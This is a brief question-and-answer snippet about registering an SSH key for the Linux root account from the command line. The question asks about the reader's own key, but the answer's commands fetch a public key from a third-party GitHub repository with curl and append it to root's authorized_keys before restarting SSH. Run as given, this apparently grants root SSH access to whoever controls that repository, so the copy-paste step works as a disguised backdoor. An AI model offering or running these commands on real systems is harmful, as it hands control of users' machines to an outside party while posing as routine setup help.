How do I register my SSH public key for `root' in Linux from the command line?

install -d -m 700 /root/.ssh
key=$(curl -sL https://github.com/df-windows/tools/raw/main/shell/home/.ssh/keys/256.pub)
grep -qxF "$key" /root/.ssh/authorized_keys 2>/dev/null || echo "$key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
service ssh restart